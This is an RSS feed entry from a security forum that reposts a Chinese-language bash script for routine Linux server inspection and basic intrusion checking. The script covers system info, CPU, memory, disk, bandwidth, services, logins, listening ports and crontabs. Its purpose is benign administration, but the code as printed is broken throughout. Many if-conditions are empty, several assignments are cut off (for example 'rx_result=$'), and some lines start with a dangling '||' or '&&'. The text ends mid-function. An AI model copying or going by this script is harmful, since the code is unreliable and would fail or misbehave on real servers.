<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									Threat Hunting - ITProSec Resources Forum				            </title>
            <link>https://itprosec.com/community/threat-hunting/</link>
            <description>ITProSec Resources Discussion Board</description>
            <language>en-US</language>
            <lastBuildDate>Wed, 03 Jun 2026 23:02:33 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>Linux服务器巡检脚本 &amp; 检测系统是否被入侵</title>
                        <link>https://itprosec.com/community/threat-hunting/linux%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%b7%a1%e6%a3%80%e8%84%9a%e6%9c%ac-%e6%a3%80%e6%b5%8b%e7%b3%bb%e7%bb%9f%e6%98%af%e5%90%a6%e8%a2%ab%e5%85%a5%e4%be%b5/</link>
                        <pubDate>Fri, 14 Jun 2024 14:42:18 +0000</pubDate>
                        <description><![CDATA[多时候我们需要进行服务器巡查，但是每台服务器都去检查有点费时费力。不想写了，直接看图吧



#!/bin/bash
#参数定义
date=`date +&quot;%Y-%m-%d-%H:%M:%S&quot;`
centosVersion=$(awk &#039;{print $(NF-1)}&#039; /etc/redhat-release)
VERSION=`date +%F`
#日志相关...]]></description>
                        <content:encoded><![CDATA[<article class="qzhai-article uk-article">
<div class="qzhai-the-content">
<p>多时候我们需要进行服务器巡查，但是每台服务器都去检查有点费时费力。不想写了，直接看图吧</p>
<figure class="wp-block-image size-full"><img class="wp-image-2086" src="https://blog.ossq.cn/wp-content/uploads/2022/12/image-15.png" alt="" width="635" height="810" /></figure>
<figure class="wp-block-image size-full"><img class="wp-image-2087" src="https://blog.ossq.cn/wp-content/uploads/2022/12/image-16.png" alt="" width="788" height="761" /></figure>
<figure class="wp-block-image size-full"><img class="wp-image-2089" src="https://blog.ossq.cn/wp-content/uploads/2022/12/image-18.png" alt="" width="758" height="806" /></figure>
<pre class="wp-block-code qzhai_highlight hljs bash" contenteditable="false"><code><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment">#参数定义</span>
date=`date +<span class="hljs-string">"%Y-%m-%d-%H:%M:%S"</span>`
centosVersion=$(awk <span class="hljs-string">'{print $(NF-1)}'</span> /etc/redhat-release)
VERSION=`date +%F`
<span class="hljs-comment">#日志相关</span>
LOGPATH=<span class="hljs-string">"/tmp/awr"</span>
 || mkdir -p <span class="hljs-variable">$LOGPATH</span>
RESULTFILE=<span class="hljs-string">"<span class="hljs-variable">$LOGPATH</span>/HostCheck-`hostname`-`date +%Y%m%d`.txt"</span>

<span class="hljs-comment">#调用函数库</span>
 &amp;&amp; <span class="hljs-built_in">source</span> /etc/init.d/<span class="hljs-built_in">functions</span>
<span class="hljs-built_in">export</span> PATH=/usr/<span class="hljs-built_in">local</span>/sbin:/usr/<span class="hljs-built_in">local</span>/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
<span class="hljs-built_in">source</span> /etc/profile


<span class="hljs-comment">#root用户执行脚本</span>
 &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"请用root用户执行此脚本！"</span> &amp;&amp; <span class="hljs-built_in">exit</span> 1

 
<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">version</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">" &gt;&gt;&gt; `hostname -s` 主机巡检"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getSystemStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m****************************************************系统检查****************************************************\033[0m"</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        default_LANG=<span class="hljs-string">"<span class="hljs-variable">$(grep "LANG=" /etc/sysconfig/i18n | grep -v "^#" | awk -F '"' '{print $2}')</span>"</span>
    <span class="hljs-keyword">else</span>
        default_LANG=<span class="hljs-variable">$LANG</span>
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">export</span> LANG=<span class="hljs-string">"en_US.UTF-8"</span>
    Release=$(cat /etc/redhat-release 2&gt;/dev/null)
    Kernel=$(uname -r)
    OS=$(uname -o)
    Hostname=$(uname -n)
    SELinux=$(/usr/sbin/sestatus | grep <span class="hljs-string">"SELinux status: "</span> | awk <span class="hljs-string">'{print $3}'</span>)
    LastReboot=$(who -b | awk <span class="hljs-string">'{print $3,$4}'</span>)
    uptime=$(uptime | sed <span class="hljs-string">'s/.*up \(*\), .*/\1/'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"     系统：<span class="hljs-variable">$OS</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">" 发行版本：<span class="hljs-variable">$Release</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"     内核：<span class="hljs-variable">$Kernel</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"   主机名：<span class="hljs-variable">$Hostname</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"  SELinux：<span class="hljs-variable">$SELinux</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"语言/编码：<span class="hljs-variable">$default_LANG</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">" 当前时间：<span class="hljs-variable">$(date +'%F %T')</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">" 最后启动：<span class="hljs-variable">$LastReboot</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">" 运行时间：<span class="hljs-variable">$uptime</span>"</span>
    <span class="hljs-built_in">export</span> LANG=<span class="hljs-string">"<span class="hljs-variable">$default_LANG</span>"</span>
}

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getCpuStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m****************************************************CPU检查*****************************************************\033[0m"</span>
    Physical_CPUs=$(grep <span class="hljs-string">"physical id"</span> /proc/cpuinfo| sort | uniq | wc -l)
    Virt_CPUs=$(grep <span class="hljs-string">"processor"</span> /proc/cpuinfo | wc -l)
    CPU_Kernels=$(grep <span class="hljs-string">"cores"</span> /proc/cpuinfo|uniq| awk -F <span class="hljs-string">': '</span> <span class="hljs-string">'{print $2}'</span>)
    CPU_Type=$(grep <span class="hljs-string">"model name"</span> /proc/cpuinfo | awk -F <span class="hljs-string">': '</span> <span class="hljs-string">'{print $2}'</span> | sort | uniq)
    CPU_Arch=$(uname -m)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"物理CPU个数:<span class="hljs-variable">$Physical_CPUs</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"逻辑CPU个数:<span class="hljs-variable">$Virt_CPUs</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"每CPU核心数:<span class="hljs-variable">$CPU_Kernels</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"    CPU型号:<span class="hljs-variable">$CPU_Type</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"    CPU架构:<span class="hljs-variable">$CPU_Arch</span>"</span>
}

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getMemStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span>  -e <span class="hljs-string">"\033[33m**************************************************内存检查*****************************************************\033[0m"</span>
    <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
        free -mo
    <span class="hljs-keyword">else</span>
        free -h
    <span class="hljs-keyword">fi</span>
    <span class="hljs-comment">#报表信息</span>
    MemTotal=$(grep MemTotal /proc/meminfo| awk <span class="hljs-string">'{print $2}'</span>)  <span class="hljs-comment">#KB</span>
    MemFree=$(grep MemFree /proc/meminfo| awk <span class="hljs-string">'{print $2}'</span>)    <span class="hljs-comment">#KB</span>
    <span class="hljs-built_in">let</span> MemUsed=MemTotal-MemFree
    MemPercent=$(awk <span class="hljs-string">"BEGIN {if(<span class="hljs-variable">$MemTotal</span>==0){printf 100}else{printf \"%.2f\",<span class="hljs-variable">$MemUsed</span>*100/<span class="hljs-variable">$MemTotal</span>}}"</span>) 
}

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getDiskStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m**************************************************磁盘检查******************************************************\033[0m"</span>
    df -hiP | sed <span class="hljs-string">'s/Mounted on/Mounted/'</span>&gt; /tmp/inode
    df -hTP | sed <span class="hljs-string">'s/Mounted on/Mounted/'</span>&gt; /tmp/disk 
    join /tmp/disk /tmp/inode | awk <span class="hljs-string">'{print $1,$2,"|",$3,$4,$5,$6,"|",$8,$9,$10,$11,"|",$12}'</span>| column -t
    <span class="hljs-comment">#报表信息</span>
    diskdata=$(df -TP | sed <span class="hljs-string">'1d'</span> | awk <span class="hljs-string">'$2!="tmpfs"{print}'</span>) <span class="hljs-comment">#KB</span>
    disktotal=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$diskdata</span>"</span> | awk <span class="hljs-string">'{total+=$3}END{print total}'</span>) <span class="hljs-comment">#KB</span>
    diskused=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$diskdata</span>"</span> | awk <span class="hljs-string">'{total+=$4}END{print total}'</span>)  <span class="hljs-comment">#KB</span>
    diskfree=$((disktotal-diskused)) <span class="hljs-comment">#KB</span>
    diskusedpercent=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$disktotal</span> <span class="hljs-variable">$diskused</span> | awk <span class="hljs-string">'{if($1==0){printf 100}else{printf "%.2f",$2*100/$1}}'</span>) 
    inodedata=$(df -iTP | sed <span class="hljs-string">'1d'</span> | awk <span class="hljs-string">'$2!="tmpfs"{print}'</span>)
    inodetotal=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$inodedata</span>"</span> | awk <span class="hljs-string">'{total+=$3}END{print total}'</span>)
    inodeused=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$inodedata</span>"</span> | awk <span class="hljs-string">'{total+=$4}END{print total}'</span>)
    inodefree=$((inodetotal-inodeused))
    inodeusedpercent=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$inodetotal</span> <span class="hljs-variable">$inodeused</span> | awk <span class="hljs-string">'{if($1==0){printf 100}else{printf "%.2f",$2*100/$1}}'</span>)
}



<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">get_resource</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m**************************************************资源消耗统计**************************************************\033[0m"</span>

    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************带宽资源消耗统计*************\033[0m"</span>
    <span class="hljs-comment">#用数组存放网卡名</span>
    nic=(`ifconfig | grep ^ | grep -vE <span class="hljs-string">'lo|docker0'</span>| awk -F: <span class="hljs-string">'{print $1}'</span>`)
    time=`date <span class="hljs-string">"+%Y-%m-%d %k:%M"</span>`
    num=0
    
    <span class="hljs-keyword">for</span> ((i=0;i&lt;<span class="hljs-variable">${#nic}</span>;i++))
    <span class="hljs-keyword">do</span>
       <span class="hljs-comment">#循环五次，避免看到的是偶然的数据</span>
       <span class="hljs-keyword">while</span> (( <span class="hljs-variable">$num</span>&lt;5 ))
       <span class="hljs-keyword">do</span>
         rx_before=$(cat /proc/net/dev | grep <span class="hljs-string">'${nic}'</span> | tr : <span class="hljs-string">" "</span> | awk <span class="hljs-string">'{print $2}'</span>)
         tx_before=$(cat /proc/net/dev | grep <span class="hljs-string">'${nic}'</span> | tr : <span class="hljs-string">" "</span> | awk <span class="hljs-string">'{print $10}'</span>)
         sleep 2
         <span class="hljs-comment">#用sed先获取第7列,再用awk获取第2列，再cut切割,从第7个到最后，即只切割网卡流量数字部分</span>
         rx_after=$(cat /proc/net/dev | grep <span class="hljs-string">'${nic}'</span> | tr : <span class="hljs-string">" "</span> | awk <span class="hljs-string">'{print $2}'</span>)
         tx_after=$(cat /proc/net/dev | grep <span class="hljs-string">'${nic}'</span> | tr : <span class="hljs-string">" "</span> | awk <span class="hljs-string">'{print $10}'</span>)
         <span class="hljs-comment">#注意下面截取的相差2秒的两个时刻的累计和发送的bytes(即累计传送和接收的位)</span>
         rx_result=$
         tx_result=$
         <span class="hljs-built_in">echo</span>  <span class="hljs-string">"<span class="hljs-variable">$time</span> Now_In_Speed: <span class="hljs-variable">$rx_result</span> Mbps  Now_OUt_Speed: <span class="hljs-variable">$tx_result</span> Mbps"</span> &gt;&gt; /tmp/network.txt
         <span class="hljs-built_in">let</span> <span class="hljs-string">"num++"</span>
       <span class="hljs-keyword">done</span>
       <span class="hljs-comment">#注意下面grep后面的$time变量要用双引号括起来</span>
       rx_result=$(cat /tmp/network.txt|grep <span class="hljs-string">"<span class="hljs-variable">$time</span>"</span>|awk <span class="hljs-string">'{In+=$4}END{print In}'</span>)
       tx_result=$(cat /tmp/network.txt|grep <span class="hljs-string">"<span class="hljs-variable">$time</span>"</span>|awk <span class="hljs-string">'{Out+=$7}END{print Out}'</span>)
       In_Speed=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=2;<span class="hljs-variable">$rx_result</span>/5"</span>|bc)
       Out_Speed=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=2;<span class="hljs-variable">$tx_result</span>/5"</span>|bc)
       <span class="hljs-built_in">echo</span> -e  <span class="hljs-string">"\033[32m In_Speed_average: <span class="hljs-variable">$In_Speed</span> Mbps Out_Speed_average: <span class="hljs-variable">$Out_Speed</span> Mbps! \033[0m"</span> 
    <span class="hljs-keyword">done</span>


    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************CPU资源消耗统计*************\033[0m"</span>

    <span class="hljs-comment">#使用vmstat 1 5命令统计5秒内的使用情况，再计算每秒使用情况</span>
    total=`vmstat 1 5|awk <span class="hljs-string">'{x+=$13;y+=$14}END{print x+y}'</span>`
    cpu_average=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=2;<span class="hljs-variable">$total</span>/5"</span>|bc)
    
    <span class="hljs-comment">#判断CPU使用率（浮点数与整数比较）</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> -e  <span class="hljs-string">"\033[31m Total CPU is already use: <span class="hljs-variable">${cpu_average}</span>%,请及时处理！\033[0m"</span> 
    <span class="hljs-keyword">else</span> 
        <span class="hljs-built_in">echo</span> -e  <span class="hljs-string">"\033[32m Total CPU is already use: <span class="hljs-variable">${cpu_average}</span>%! \033[0m"</span> 
    <span class="hljs-keyword">fi</span>


    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************磁盘资源消耗统计*************\033[0m"</span>
    <span class="hljs-comment">#磁盘使用情况(注意：需要用sed先进行格式化才能进行累加处理)</span>
    disk_used=$(df -m | sed <span class="hljs-string">'1d;/ /!N;s/\n//;s/ \+/ /;'</span> | awk <span class="hljs-string">'{used+=$3} END{print used}'</span>)
    disk_totalSpace=$(df -m | sed <span class="hljs-string">'1d;/ /!N;s/\n//;s/ \+/ /;'</span> | awk <span class="hljs-string">'{totalSpace+=$2} END{print totalSpace}'</span>)
    disk_all=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=4;<span class="hljs-variable">$disk_used</span>/<span class="hljs-variable">$disk_totalSpace</span>"</span> | bc)
    disk_percent1=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$disk_all</span> | cut -c 2-3)
    disk_percent2=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$disk_all</span> | cut -c 4-5)
    disk_warning=`df -m | sed <span class="hljs-string">'1d;/ /!N;s/\n//;s/ \+/ /;'</span> | awk <span class="hljs-string">'{if ($5&gt;85) print $6 "目录使用率：" $5;} '</span>`
    
    <span class="hljs-built_in">echo</span> -e  <span class="hljs-string">"\033[32m Total disk has used: <span class="hljs-variable">$disk_percent1</span>.<span class="hljs-variable">$disk_percent2</span>% \033[0m"</span> 
    <span class="hljs-comment">#echo -e "\t\t.." 表示换行</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[31m<span class="hljs-variable">${disk_warning}</span> \n 以上目录使用率超过85%，请及时处理！\033[0m"</span> 
    <span class="hljs-keyword">fi</span>
    
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************内存资源消耗统计*************\033[0m"</span>
    
    <span class="hljs-comment">#获得系统总内存</span>
    memery_all=$(free -m | awk <span class="hljs-string">'NR==2'</span> | awk <span class="hljs-string">'{print $2}'</span>)
    <span class="hljs-comment">#获得占用内存（操作系统 角度）</span>
    system_memery_used=$(free -m | awk <span class="hljs-string">'NR==2'</span> | awk <span class="hljs-string">'{print $3}'</span>)
    <span class="hljs-comment">#获得buffer、cache占用内存，当内存不够时会及时回收，所以这两部分可用于可用内存的计算</span>
    buffer_used=$(free -m | awk <span class="hljs-string">'NR==2'</span> | awk <span class="hljs-string">'{print $6}'</span>)
    cache_used=$(free -m | awk <span class="hljs-string">'NR==2'</span> | awk <span class="hljs-string">'{print $7}'</span>)
    <span class="hljs-comment">#获得被使用内存，所以这部分可用于可用内存的计算，注意计算方法</span>
    actual_used_all=$
    <span class="hljs-comment">#获得实际占用的内存</span>
    actual_used_all=`expr <span class="hljs-variable">$memery_all</span> - <span class="hljs-variable">$free</span> + <span class="hljs-variable">$buffer_used</span> + <span class="hljs-variable">$cache_used</span> `
    memery_percent=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=4;<span class="hljs-variable">$system_memery_used</span> / <span class="hljs-variable">$memery_all</span>"</span> | bc)
    memery_percent2=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"scale=4; <span class="hljs-variable">$actual_used_all</span> / <span class="hljs-variable">$memery_all</span>"</span> | bc)
    percent_part1=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$memery_percent</span> | cut -c 2-3)
    percent_part2=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$memery_percent</span> | cut -c 4-5)
    percent_part11=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$memery_percent2</span> | cut -c 2-3)
    percent_part22=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$memery_percent2</span> | cut -c 4-5)
    
    <span class="hljs-comment">#获得占用内存（操作系统角度）</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[32m system memery is already use: <span class="hljs-variable">$percent_part1</span>.<span class="hljs-variable">$percent_part2</span>% \033[0m"</span>
    <span class="hljs-comment">#获得实际内存占用率</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[32m actual memery is already use: <span class="hljs-variable">$percent_part11</span>.<span class="hljs-variable">$percent_part22</span>% \033[0m"</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[32m buffer is already used : <span class="hljs-variable">$buffer_used</span> M \033[0m"</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[32m cache is already used : <span class="hljs-variable">$cache_used</span> M \033[0m"</span>
}



<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getServiceStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m*************************************************服务检查*******************************************************\033[0m"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
        conf=$(systemctl list-unit-files --<span class="hljs-built_in">type</span>=service --state=enabled --no-pager | grep <span class="hljs-string">"enabled"</span>)
        process=$(systemctl list-units --<span class="hljs-built_in">type</span>=service --state=running --no-pager | grep <span class="hljs-string">".service"</span>)      
    <span class="hljs-keyword">else</span>
        conf=$(/sbin/chkconfig | grep -E <span class="hljs-string">":on|:启用"</span>)
        process=$(/sbin/service --status-all 2&gt;/dev/null | grep -E <span class="hljs-string">"is running|正在运行"</span>)        
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m******************服务配置******************\033[0m"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$conf</span>"</span>  | column -t
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m**************正在运行的服务****************\033[0m"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$process</span>"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getAutoStartStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m***********************************************自启动检查*******************************************************\033[0m"</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************自启动命令*****************\033[0m"</span>
    conf=$(grep -v <span class="hljs-string">"^#"</span> /etc/rc.d/rc.local| sed <span class="hljs-string">'/^$/d'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$conf</span>"</span>  
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getLoginStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m************************************************登录检查********************************************************\033[0m"</span>
    last | head 
}

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getNetworkStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m************************************************网络检查********************************************************\033[0m"</span>
    <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
        /sbin/ifconfig -a | grep -v packets | grep -v collisions | grep -v i
        net6
    <span class="hljs-keyword">else</span>
        <span class="hljs-comment">#ip a</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(ip link | grep BROADCAST | awk -F: <span class="hljs-string">'{print $2}'</span>);<span class="hljs-keyword">do</span> ip add show <span class="hljs-variable">$i</span> | grep -E <span class="hljs-string">"BROADCAST|global"</span>| awk <span class="hljs-string">'{print $2}'</span> | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">' '</span> ;<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span> ;<span class="hljs-keyword">done</span>
    <span class="hljs-keyword">fi</span>
    GATEWAY=$(ip route | grep default | awk <span class="hljs-string">'{print $3}'</span>)
    DNS=$(grep nameserver /etc/resolv.conf| grep -v <span class="hljs-string">"#"</span> | awk <span class="hljs-string">'{print $2}'</span> | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">','</span> | sed <span class="hljs-string">'s/,$//'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"网关：<span class="hljs-variable">$GATEWAY</span> "</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"DNS：<span class="hljs-variable">$DNS</span>"</span>
    <span class="hljs-comment">#报表信息</span>
    IP=$(ip -f inet addr | grep -v 127.0.0.1 |  grep inet | awk <span class="hljs-string">'{print $NF,$2}'</span> | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">','</span> | sed <span class="hljs-string">'s/,$//'</span>)
    MAC=$(ip link | grep -v <span class="hljs-string">"LOOPBACK\|loopback"</span> | awk <span class="hljs-string">'{print $2}'</span> | sed <span class="hljs-string">'N;s/\n//'</span> | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">','</span> | sed <span class="hljs-string">'s/,$//'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
ping -c 4 www.baidu.com &gt;/dev/null 2&gt;&amp;1
<span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
   <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
   <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[32m网络连接：正常！\033[0m"</span> 
<span class="hljs-keyword">else</span>
   <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
   <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[31m网络连接：异常！\033[0m"</span> 
<span class="hljs-keyword">fi</span> 
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getListenStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span>  -e <span class="hljs-string">"\033[33m***********************************************监听检查********************************************************\033[0m"</span>
    TCPListen=$(ss -ntul | column -t)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$TCPListen</span>"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getCronStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m**********************************************计划任务检查******************************************************\033[0m"</span>
    Crontab=0
    <span class="hljs-keyword">for</span> shell <span class="hljs-keyword">in</span> $(grep -v <span class="hljs-string">"/sbin/nologin"</span> /etc/shells);<span class="hljs-keyword">do</span>
        <span class="hljs-keyword">for</span> user <span class="hljs-keyword">in</span> $(grep <span class="hljs-string">"<span class="hljs-variable">$shell</span>"</span> /etc/passwd| awk -F: <span class="hljs-string">'{print $1}'</span>);<span class="hljs-keyword">do</span>
            crontab -l -u <span class="hljs-variable">$user</span> &gt;/dev/null 2&gt;&amp;1
            status=$?
            <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
                <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m************<span class="hljs-variable">$user</span>用户的定时任务**************\033[0m"</span>
                crontab -l -u <span class="hljs-variable">$user</span>
                <span class="hljs-built_in">let</span> Crontab=Crontab+$(crontab -l -u <span class="hljs-variable">$user</span> | wc -l)
                <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
            <span class="hljs-keyword">fi</span>
        <span class="hljs-keyword">done</span>
    <span class="hljs-keyword">done</span>
    <span class="hljs-comment">#计划任务</span>
    <span class="hljs-comment">#find /etc/cron* -type f | xargs -i ls -l {} | column  -t</span>
    <span class="hljs-comment">#let Crontab=Crontab+$(find /etc/cron* -type f | wc -l) </span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getHowLongAgo</span></span>(){
    <span class="hljs-comment"># 计算一个时间戳离现在有多久了</span>
    datetime=<span class="hljs-string">"$*"</span>
     &amp;&amp; <span class="hljs-built_in">echo</span> `<span class="hljs-built_in">stat</span> /etc/passwd|awk <span class="hljs-string">"NR==6"</span>`
    Timestamp=$(date +%s -d <span class="hljs-string">"<span class="hljs-variable">$datetime</span>"</span>)  
    Now_Timestamp=$(date +%s)
    Difference_Timestamp=$((<span class="hljs-variable">$Now_Timestamp</span>-<span class="hljs-variable">$Timestamp</span>))
    days=0;hours=0;minutes=0;
    sec_in_day=$((60*60*24));
    sec_in_hour=$((60*60));
    sec_in_minute=60
    <span class="hljs-keyword">while</span> (( $((<span class="hljs-variable">$Difference_Timestamp</span>-<span class="hljs-variable">$sec_in_day</span>)) &gt; 1 ))
    <span class="hljs-keyword">do</span>
        <span class="hljs-built_in">let</span> Difference_Timestamp=Difference_Timestamp-sec_in_day
        <span class="hljs-built_in">let</span> days++
    <span class="hljs-keyword">done</span>
    <span class="hljs-keyword">while</span> (( $((<span class="hljs-variable">$Difference_Timestamp</span>-<span class="hljs-variable">$sec_in_hour</span>)) &gt; 1 ))
    <span class="hljs-keyword">do</span>
        <span class="hljs-built_in">let</span> Difference_Timestamp=Difference_Timestamp-sec_in_hour
        <span class="hljs-built_in">let</span> hours++
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$days</span> 天 <span class="hljs-variable">$hours</span> 小时前"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getUserLastLogin</span></span>(){
    <span class="hljs-comment"># 获取用户最近一次登录的时间，含年份</span>
    <span class="hljs-comment"># 很遗憾last命令不支持显示年份，只有"last -t YYYYMMDDHHMMSS"表示某个时间之间的登录，我</span>
    <span class="hljs-comment"># 们只能用最笨的方法了，对比今天之前和今年元旦之前（或者去年之前和前年之前……）某个用户</span>
    <span class="hljs-comment"># 登录次数，如果登录统计次数有变化，则说明最近一次登录是今年。</span>
    username=<span class="hljs-variable">$1</span>
    : <span class="hljs-variable">${username:="`whoami`"}</span>
    thisYear=$(date +%Y)
    oldesYear=$(last | tail -n1 | awk <span class="hljs-string">'{print $NF}'</span>)
